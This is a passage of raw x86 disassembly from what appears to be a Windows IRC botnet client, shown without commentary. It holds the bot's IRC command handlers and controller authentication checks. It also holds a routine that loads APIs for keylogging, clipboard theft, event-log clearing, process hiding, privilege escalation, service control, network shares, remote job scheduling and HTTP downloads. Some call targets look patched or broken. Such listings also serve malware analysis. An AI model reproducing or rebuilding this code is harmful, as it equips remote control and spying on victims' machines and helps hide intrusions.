--------------------------------------------------------------------------- loc_4094BC: ; CODE XREF: sub_401ACD+3E49j ; sub_401ACD+3E5Ej mov eax, [ebp+arg_10] mov cl, [eax] mov byte_429094, cl movsx eax, byte ptr [eax] push eax push offset unk_4296E8 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj ; sub_401ACD+3E34j push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 add esp, 0Ch jmp loc_408994 ; --------------------------------------------------------------------------- loc_409527: ; CODE XREF: sub_401ACD+3DF5j ; sub_401ACD+3E0Aj mov esi, [ebp+arg_10] push esi call sub_41B779 test eax, eax pop ecx jle loc_401E94 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_401E94 push offset aQuitLater ; "QUIT :later\r\n" push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C pop ecx pop ecx push 1F4h nop call near ptr 26705B3h push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call dword_4CB00C push [ebp+var_10] push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEC4[eax] nop call near ptr 2680DC8h push esi call sub_41B779 imul eax, 234h push esi mov dword_43DEC4[eax], ebx call sub_41B779 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43DCB0[eax], bl jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj ; sub_401ACD+3DE0j push [ebp+arg_10] push offset aAll ; "all" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_409641 call sub_40B2BF cmp eax, ebx jle short loc_4095FC push eax push offset unk_4296BC jmp loc_408CDB ; --------------------------------------------------------------------------- loc_4095FC: ; CODE XREF: sub_401ACD+7B22j push offset unk_429694 loc_409601: ; CODE XREF: sub_401ACD+24F9j ; sub_401ACD+2518j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_40960F: ; CODE XREF: sub_401ACD+721Dj cmp [ebp+var_8], ebx jnz short loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_409628: ; CODE XREF: sub_401ACD+6DB4j call sub_409A72 add esp, 14h loc_409630: ; CODE XREF: sub_401ACD+26F6j ; sub_401ACD+2721j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_40207D ; --------------------------------------------------------------------------- loc_409641: ; CODE XREF: sub_401ACD+7B19j mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401E94 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_40965D: ; CODE XREF: sub_401ACD+7C01j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401E94 push esi call sub_41B779 push eax call sub_40B231 pop ecx pop ecx test eax, eax push esi jz short loc_409684 push offset unk_429670 jmp short loc_409689 ; --------------------------------------------------------------------------- loc_409684: ; CODE XREF: sub_401ACD+7BAEj push offset unk_429644 loc_409689: ; CODE XREF: sub_401ACD+7BB5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4096B9 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj lea eax, [ebp+var_2C4] push eax call sub_4151AC add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40965D jmp loc_401E94 ; --------------------------------------------------------------------------- loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j ; sub_401ACD+3DB6j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset dword_429DB0 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset dword_429628 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409711: ; CODE XREF: sub_401ACD+3D77j ; sub_401ACD+3D8Cj push [ebp+arg_10] push offset dword_429D14 push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_429604 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409731: ; CODE XREF: sub_401ACD+3D4Dj ; sub_401ACD+3D62j push [ebp+esi+var_88] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_10] push offset unk_4295E0 jmp loc_40984D ; --------------------------------------------------------------------------- loc_409758: ; CODE XREF: sub_401ACD+3D23j ; sub_401ACD+3D38j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push [ebp+arg_10] push offset unk_4295BC jmp loc_40984D ; --------------------------------------------------------------------------- loc_409778: ; CODE XREF: sub_401ACD+3163j ; sub_401ACD+3178j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429598 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h loc_4097B2: ; CODE XREF: sub_401ACD+7D33j push eax nop call near ptr 26705B3h loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j xor eax, eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_4097C0: ; CODE XREF: sub_401ACD+3139j ; sub_401ACD+314Ej push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C pop ecx lea eax, [ebp+var_2C4] pop ecx push [ebp+arg_10] push offset unk_429570 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h imul eax, 3E8h jmp short loc_4097B2 ; --------------------------------------------------------------------------- loc_409802: ; CODE XREF: sub_401ACD+EC8j ; sub_401ACD+EDDj push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40B08D add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_42954C loc_40984D: ; CODE XREF: sub_401ACD+70B4j ; sub_401ACD+778Aj ... call sub_415220 pop ecx loc_409853: ; CODE XREF: sub_401ACD+6CB9j pop ecx loc_409854: ; CODE XREF: sub_401ACD+659j ; sub_401ACD+665j ... mov eax, [ebp+arg_24] jmp loc_401E97 ; --------------------------------------------------------------------------- loc_40985C: ; CODE XREF: sub_401ACD+AB5j ; sub_401ACD+AC8j mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_10], esi jz loc_401E94 cmp [ebp+var_A4], ebx jnz loc_401E94 push offset asc_42CA28 ; "!" push [ebp+var_90] call sub_41C0F4 mov esi, eax push offset dword_4CAE2C push ebx inc esi call sub_41C0F4 push offset asc_429548 ; "~" push eax call sub_41C0F4 push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_41C070 add esp, 20h test eax, eax jz short loc_4098FB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_4294C8 jmp loc_40240A ; --------------------------------------------------------------------------- loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj mov [ebp+arg_24], offset off_429160 loc_409902: ; CODE XREF: sub_401ACD+7E51j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_409962 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429164 jb short loc_409902 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409A2C add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409A2C add esp, 0Ch push edi push esi push offset unk_429474 jmp loc_40240A ; --------------------------------------------------------------------------- loc_409962: ; CODE XREF: sub_401ACD+7E44j mov edi, [ebp+arg_18] xor esi, esi loc_409967: ; CODE XREF: sub_401ACD+7EC4j cmp [ebp+arg_10], ebx jz loc_401E94 cmp [edi], bl jnz short loc_409987 push [ebp+arg_10] push offset aCool ; "cool" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_409998 loc_409987: ; CODE XREF: sub_401ACD+7EA5j inc esi add edi, 80h cmp esi, 3 jl short loc_409967 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_409998: ; CODE XREF: sub_401ACD+7EB8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E00] push 7Fh push eax push esi call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4099CF push ebx push [ebp+var_4] push offset unk_429454 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j lea eax, [ebp+var_C4] push eax push offset unk_429434 jmp loc_402077 ; --------------------------------------------------------------------------- loc_4099E0: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h mov dword_4CAE24, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A2C proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41C190 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 leave retn sub_409A2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409A72 proc near ; CODE XREF: sub_401ACD+518p ; sub_401ACD+137Dp ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409A8D mov edi, offset aPrivmsg ; "PRIVMSG" loc_409A8D: ; CODE XREF: sub_409A72+14j push edi call sub_41AFE0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41AFE0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CAFC4 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409B10 push 7D0h call near ptr 26705B3h nop locret_409B10: ; CODE XREF: sub_409A72+91j leave retn sub_409A72 endp ; =============== S U B R O U T I N E ======================================= sub_409B12 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_42709C push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270BC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409C32 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CB020, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CAF94, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CAF78, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CAE88, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CAE34, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CAE64, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CAEDC, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CAFD4, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB030, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CAE94, eax call esi cmp dword_4CB020, ebx mov dword_4CAE7C, eax jz short loc_409C10 cmp dword_4CAF94, ebx jz short loc_409C10 cmp dword_4CAF78, ebx jz short loc_409C10 cmp dword_4CAE88, ebx jz short loc_409C10 cmp dword_4CAE64, ebx jz short loc_409C10 cmp dword_4CAEDC, ebx jz short loc_409C10 cmp dword_4CAFD4, ebx jz short loc_409C10 cmp dword_4CB030, ebx jz short loc_409C10 cmp dword_4CAE94, ebx jz short loc_409C10 cmp eax, ebx jnz short loc_409C1A loc_409C10: ; CODE XREF: sub_409B12+B8j ; sub_409B12+C0j ... mov dword_4CB034, 1 loc_409C1A: ; CODE XREF: sub_409B12+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CAFAC, eax jz short loc_409C47 push 1 push ebx call eax jmp short loc_409C47 ; --------------------------------------------------------------------------- loc_409C32: ; CODE XREF: sub_409B12+1Dj call near ptr 2680000h nop mov dword_4CB038, eax mov dword_4CB034, 1 loc_409C47: ; CODE XREF: sub_409B12+117j ; sub_409B12+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 2690CB0h mov edi, eax cmp edi, ebx jz loc_409D5C push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CAFD0, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CAF80, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CAF14, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB024, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CAF44, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CAF64, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CAFC8, eax call esi cmp dword_4CAFD0, ebx mov dword_4CAEB4, eax jz short loc_409D00 cmp dword_4CAF80, ebx jz short loc_409D00 cmp dword_4CAF14, ebx jz short loc_409D00 cmp dword_4CB024, ebx jz short loc_409D00 cmp dword_4CAF44, ebx jz short loc_409D00 cmp dword_4CAF64, ebx jz short loc_409D00 cmp dword_4CAFC8, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A loc_409D00: ; CODE XREF: sub_409B12+1B8j ; sub_409B12+1C0j ... mov dword_4CB03C, 1 loc_409D0A: ; CODE XREF: sub_409B12+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CAF40, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CAE48, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CAF10, eax call esi cmp dword_4CAF40, ebx mov dword_4CAEF8, eax jz short loc_409D67 cmp dword_4CAE48, ebx jz short loc_409D67 cmp dword_4CAF10, ebx jz short loc_409D67 cmp eax, ebx jnz short loc_409D71 jmp short loc_409D67 ; --------------------------------------------------------------------------- loc_409D5C: ; CODE XREF: sub_409B12+144j nop call near ptr 2680000h mov dword_4CB040, eax loc_409D67: ; CODE XREF: sub_409B12+232j ; sub_409B12+23Aj ... mov dword_4CB03C, 1 loc_409D71: ; CODE XREF: sub_409B12+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409F2A push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CAFE4, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CAF28, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CAF98, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CAE74, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CAED8, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CAF50, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CAEF4, eax call esi cmp dword_4CAFE4, ebx mov dword_4CAF04, eax jz short loc_409E1A cmp dword_4CAF28, ebx jz short loc_409E1A cmp dword_4CAF98, ebx jz short loc_409E1A cmp dword_4CAE74, ebx jz short loc_409E1A cmp dword_4CAED8, ebx jz short loc_409E1A cmp dword_4CAF50, ebx jnz short loc_409E24 loc_409E1A: ; CODE XREF: sub_409B12+2DEj ; sub_409B12+2E6j ... mov dword_4CB044, 1 loc_409E24: ; CODE XREF: sub_409B12+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CAF58, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CAF30, eax call esi cmp dword_4CAF58, ebx mov dword_4CAFE0, eax jz short loc_409E5F cmp dword_4CAF30, ebx jz short loc_409E5F cmp eax, ebx jnz short loc_409E69 loc_409E5F: ; CODE XREF: sub_409B12+33Fj ; sub_409B12+347j mov dword_4CB044, 1 loc_409E69: ; CODE XREF: sub_409B12+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CAF68, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CAE50, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CAE58, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CAEBC, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CAEC0, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CAE6C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CAF34, eax call esi cmp dword_4CAF68, ebx mov dword_4CAE5C, eax jz short loc_409F0D cmp dword_4CAE50, ebx jz short loc_409F0D cmp dword_4CAE58, ebx jz short loc_409F0D cmp dword_4CAEBC, ebx jz short loc_409F0D cmp dword_4CAEC0, ebx jz short loc_409F0D cmp dword_4CAE6C, ebx jz short loc_409F0D cmp dword_4CAF34, ebx jz short loc_409F0D cmp eax, ebx jnz short loc_409F17 loc_409F0D: ; CODE XREF: sub_409B12+3C5j ; sub_409B12+3CDj ... mov dword_4CB044, 1 loc_409F17: ; CODE XREF: sub_409B12+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CAE54, eax jnz short loc_409F3F jmp short loc_409F35 ; --------------------------------------------------------------------------- loc_409F2A: ; CODE XREF: sub_409B12+26Aj nop call near ptr 2680000h mov dword_4CB048, eax loc_409F35: ; CODE XREF: sub_409B12+416j mov dword_4CB044, 1 loc_409F3F: ; CODE XREF: sub_409B12+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A00B push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CAF60, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CAFB8, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CAFC0, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CAF7C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CAE98, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CAE44, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CAFBC, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CAE30, eax call esi cmp dword_4CAF60, ebx mov dword_4CAED0, eax jz short loc_40A016 cmp dword_4CAFB8, ebx jz short loc_40A016 cmp dword_4CAFC0, ebx jz short loc_40A016 cmp dword_4CAF7C, ebx jz short loc_40A016 cmp dword_4CAE98, ebx jz short loc_40A016 cmp dword_4CAE44, ebx jz short loc_40A016 cmp dword_4CAFBC, ebx jz short loc_40A016 cmp dword_4CAE30, ebx jz short loc_40A016 cmp eax, ebx jnz short loc_40A020 jmp short loc_40A016 ; --------------------------------------------------------------------------- loc_40A00B: ; CODE XREF: sub_409B12+438j nop call near ptr 2680000h mov dword_4CB050, eax loc_40A016: ; CODE XREF: sub_409B12+4B9j ; sub_409B12+4C1j ... mov dword_4CB04C, 1 loc_40A020: ; CODE XREF: sub_409B12+4F5j mov ebp, dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A2DC push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CAEE4, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB018, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CAE84, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CAE60, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CAF20, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CAF08, eax call esi push offset aSocket ; "socket" push edi mov dword_4CAECC, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CAFF4, eax call esi push offset aConnect ; "connect" push edi mov dword_4CB010, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CAF1C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CB000, eax call esi push offset aHtons ; "htons" push edi mov dword_4CAFB4, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CAF74, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CAF70, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CAEA4, eax call esi push offset aSend ; "send" push edi mov dword_4CAE9C, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CAFC4, eax call esi push offset aRecv ; "recv" push edi mov dword_4CAFD8, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CAF8C, eax call esi mov dword_4CAF4C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CAFA0, eax call esi push offset aListen ; "listen" push edi mov dword_4CAF5C, eax call esi push offset aAccept ; "accept" push edi mov dword_4CAF9C, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB008, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CAF54, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CAF18, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CAF88, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CAFF8, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CAF2C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CAEC8, eax call esi cmp dword_4CAEE4, ebx mov dword_4CB00C, eax jz loc_40A2E7 cmp dword_4CB018, ebx jz loc_40A2E7 cmp dword_4CAE84, ebx jz loc_40A2E7 cmp dword_4CAF20, ebx jz loc_40A2E7 cmp dword_4CAF08, ebx jz loc_40A2E7 cmp dword_4CAECC, ebx jz loc_40A2E7 cmp dword_4CAFF4, ebx jz loc_40A2E7 cmp dword_4CB010, ebx jz loc_40A2E7 cmp dword_4CAF1C, ebx jz loc_40A2E7 cmp dword_4CB000, ebx jz loc_40A2E7 cmp dword_4CAFB4, ebx jz loc_40A2E7 cmp dword_4CAF74, ebx jz loc_40A2E7 cmp dword_4CAF70, ebx jz loc_40A2E7 cmp dword_4CAEA4, ebx jz short loc_40A2E7 cmp dword_4CAFC4, ebx jz short loc_40A2E7 cmp dword_4CAFD8, ebx jz short loc_40A2E7 cmp dword_4CAF8C, ebx jz short loc_40A2E7 cmp dword_4CAF4C, ebx jz short loc_40A2E7 cmp dword_4CAFA0, ebx jz short loc_40A2E7 cmp dword_4CAF5C, ebx jz short loc_40A2E7 cmp dword_4CAF9C, ebx jz short loc_40A2E7 cmp dword_4CB008, ebx jz short loc_40A2E7 cmp dword_4CAF54, ebx jz short loc_40A2E7 cmp dword_4CAF18, ebx jz short loc_40A2E7 cmp dword_4CAF88, ebx jz short loc_40A2E7 cmp dword_4CAFF8, ebx jz short loc_40A2E7 cmp dword_4CAF2C, ebx jz short loc_40A2E7 cmp eax, ebx jnz short loc_40A2F1 jmp short loc_40A2E7 ; --------------------------------------------------------------------------- loc_40A2DC: ; CODE XREF: sub_409B12+51Fj call near ptr 2680000h nop mov dword_4CB058, eax loc_40A2E7: ; CODE XREF: sub_409B12+6BEj ; sub_409B12+6CAj ... mov dword_4CB054, 1 loc_40A2F1: ; CODE XREF: sub_409B12+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A3F6 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CAEB0, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CAE38, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CAF3C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CAEE8, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CAF48, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CAF0C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CAE78, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CAE70, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CAE80, eax call esi cmp dword_4CAEB0, ebx mov ecx, dword_4CAF0C mov dword_4CAFA8, eax jz short loc_40A3D2 cmp dword_4CAE38, ebx jz short loc_40A3D2 cmp dword_4CAF3C, ebx jz short loc_40A3D2 cmp dword_4CAEE8, ebx jz short loc_40A3D2 cmp dword_4CAF48, ebx jz short loc_40A3D2 cmp ecx, ebx jz short loc_40A3D2 cmp dword_4CAE78, ebx jz short loc_40A3D2 cmp dword_4CAE70, ebx jz short loc_40A3D2 cmp dword_4CAE80, ebx jz short loc_40A3D2 cmp eax, ebx jnz short loc_40A3DC loc_40A3D2: ; CODE XREF: sub_409B12+87Ej ; sub_409B12+886j ... mov dword_4CB05C, 1 loc_40A3DC: ; CODE XREF: sub_409B12+8BEj cmp ecx, ebx jz short loc_40A411 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CAF24, eax jnz short loc_40A411 jmp short loc_40A40B ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_409B12+7EAj call near ptr 2680000h nop mov dword_4CB060, eax mov dword_4CB05C, 1 loc_40A40B: ; CODE XREF: sub_409B12+8E2j mov dword_4CAF24, ebx loc_40A411: ; CODE XREF: sub_409B12+8CCj ; sub_409B12+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A45B push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CAEFC, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB02C, eax call esi cmp dword_4CAEFC, ebx mov dword_4CAE8C, eax jz short loc_40A466 cmp dword_4CB02C, ebx jz short loc_40A466 cmp eax, ebx jnz short loc_40A470 jmp short loc_40A466 ; --------------------------------------------------------------------------- loc_40A45B: ; CODE XREF: sub_409B12+90Aj nop call near ptr 2680000h mov dword_4CB068, eax loc_40A466: ; CODE XREF: sub_409B12+939j ; sub_409B12+941j ... mov dword_4CB064, 1 loc_40A470: ; CODE XREF: sub_409B12+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A577 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CAE68, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CAE40, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CAEB8, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CAEEC, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB004, eax call esi push offset aNetuseradd ; 